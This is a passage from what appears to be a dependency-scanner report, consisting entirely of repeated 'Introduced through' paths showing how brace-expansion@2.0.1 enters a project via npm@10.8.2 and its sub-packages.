  • Introduced through: lib@* › npm@10.8.2 › init-package-json@6.0.3 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
